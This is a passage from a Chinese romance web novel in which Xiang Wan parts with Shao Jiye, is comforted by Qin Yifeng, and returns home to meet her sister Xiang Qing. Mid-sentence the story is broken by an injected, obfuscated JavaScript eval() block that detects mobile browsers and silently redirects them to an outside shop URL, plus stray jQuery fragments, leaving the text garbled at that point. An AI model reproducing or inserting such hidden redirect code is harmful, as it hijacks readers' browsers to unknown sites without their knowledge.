良久的沉默。
向晚低着头,沉默不语。
邵寂野的声音逐渐有些弱了下来,似乎带着些卑微的渴盼:“或者是,有那么一瞬间,也有那么一点点爱我呢?”
“……”
漫长的僵持过后,邵寂野缓缓收回落在她身上的目光,唇角扯出一抹寒凉刺骨的冷笑。
“向晚,你真是好样的。”
他沉声道:“好,那就如你所愿,等回国之后就去离婚。”
话音落下,他不再多看向晚一眼,转身大步迈步上前,抬手狠狠拉开房门,径直朝外走去。
“砰——”
沉重的实木房门被用力摔上,巨响震天,回荡在空旷安静的走廊里,震得人心头发颤。
房间内瞬间只剩向晚孤身一人。
她静静伫立在原地,保持着原本站立的姿势,一动不动,独自待了很久很久。
爱他吗?
算了。
他这种男人,她爱不起。
男人一时的占有欲作祟,当不得真。
许久之后,她才缓缓抬步,收拾好纷乱的情绪,转身走出房间,缓步朝着酒店一楼大厅走去。
刚酒店大厅,之前服务他们餐桌的那名服务生恰好路过。
看到独自下楼的向晚,脸上露出明显的疑惑,快步上前轻声询问:“女士,刚刚您先生单独叫了专车,直接前往机场了,您怎么还在酒店呀?”
向晚微微错愕了一下。
他已经走了?
也是,他是邵氏的总裁,是整个公司的掌舵人,他每天都有很多很多的事情需要处理。
更何况,奶奶入院了之后,再也没有人能逼他做任何事了。
现在正是他大展拳脚的好机会。
能破天荒跑到海岛上来一趟,已经是他百忙之中抽了时间,既然已经决定离婚,那他也没必要再留下来了。
“没有,”向晚轻声说:“他有事情。”
“哦哦这样啊,那您还要继续住一段时间吗?”
“不,我应该也会很快离开了。
毕竟,还得回去办离婚手续。
服务生傻笑了一下:“那也不至于这么急啊,把太太扔下自己走了。”
向晚没说话。
“晚晚——”
一道清瘦的身影快步从电梯方向奔跑出来。
秦以枫脸色依旧带着未消的病态苍白,身形单薄,却步履急促,眼神急切。
当他看到向晚的时候,紧绷的身体瞬间彻底放松,眼底立刻涌上温柔干净的笑意。
他快步上前,伸手轻轻将她拥入怀中。
“我刚刚去你房间了,没找到你,我还以为你跟邵寂野离开了……”
向晚顾念着还有服务生在现场,微微推了推他:“以枫,你先松开。”
秦以枫不像邵寂野那么霸道又粘人,轻轻一推就松开了手。
不知道为什么,向晚突然觉得有些怅然若失。
惯性使然,她已经做好了邵寂野会耍无赖的准备,也已经准备加大力道推开他了,可秦以枫退的太快,让她整个人都僵在原地。
秦以枫看她神色不对,轻声问道:“怎么了?你脸色怎么这么难看。”
“可能是……被这起案件吓到了吧。”
秦以枫听完,心有戚戚焉地点了点头:“确实挺可怕的。”
“以枫,你找我有事吗?”
秦以枫微微笑开:“我只是怕……你舍不得他,所以想去问一个答案。晚晚,我很开心,你没有走,谢谢你还愿意留在这里。”
向晚浑身紧绷了许久的神经骤然松弛下来,她沉默停顿几秒,缓缓抬起手臂,主动回抱住他:“嗯。”
秦以枫抬手轻轻顺着她的后背,柔声开口,语气平和温柔,耐心安抚:“我真坏,我居然有些不信任你……我保证,以后不会了。”
向晚把脸贴在他的胸膛上,跟邵寂野的宽厚坚实不同,秦以枫的肩膀显得有些清瘦。
她不太敢整个人都靠上去,还保持着一点点往回收的力道。
秦以枫温柔的抚摸着她的发丝,轻声说:“刚刚向晴主动联系我了。”
“妹妹?”
“嗯,她得知了家里发生的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17561723|202565||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
所有事情,知道了伯父离世的消息,又震惊又悲伤,完全没想到家里积压了这么多变故。按照航班时间推算,她现在应该已经坐上回国的飞机了。”
他轻轻松开怀抱,垂眸温柔注视着向晚,轻声询问:“你二叔扔下天隆集团走了,公司和家里现在一堆事等着处理,向晴年纪小,恐怕应付不来,我们要不要尽快回国?”
向晚微微点头,眼底的慌乱和茫然尽数褪去,语气笃定而平静。
“好,我们尽快回去。”
秦以枫订了晚上的航班。
刚好在飞机上睡一觉,天亮了就能落地。
上飞机的时候,向晚才发现,两个人都没什么行李。
她来的匆忙,除了乔远诗的证件之外什么都没带,带走的也只有几件在海岛上临时买的衣物。
秦以枫则是两手空空,什么都没有。
坐上飞机的时候,看着飞机缓缓起飞,向晚不知道为什么,突然觉得有些怅然若失。
手背被一个温暖的手掌覆盖住。
秦以枫安慰她:“别怕,有我陪着你。”
向晚淡淡地颔首:“嗯。”
“我虽然没有邵寂野那样的权势地位,但我会一直陪着你的。”
“……好。”
飞机落地,机舱开启,一行人顺着机场通道走出。
向晴早已在出口等候,目光死死盯着出来的人流,在看见向晚的那一瞬间,所有的坚强彻底绷不住,立刻冲上前,一把扑进向晚的怀里,放声大哭。
“姐!你为什么不告诉我爸爸飞机失事的事情!到底把我当什么了!这么大的事,你居然一个人瞒着我独自扛着,你知不知道我知道这些的时候有多崩溃!”
向晚抬手稳稳扶住向晴。
时隔三年,她也很久很久没见过妹妹了。
三年前最后一次见面的时候,向晴还是个不谙世事的少女,脸上也带着些婴儿肥,显得天真烂漫。
现在看起来,确实成熟多了。
向晴咬着唇,眼泪不停的掉:“还有你跟邵寂野的事情……”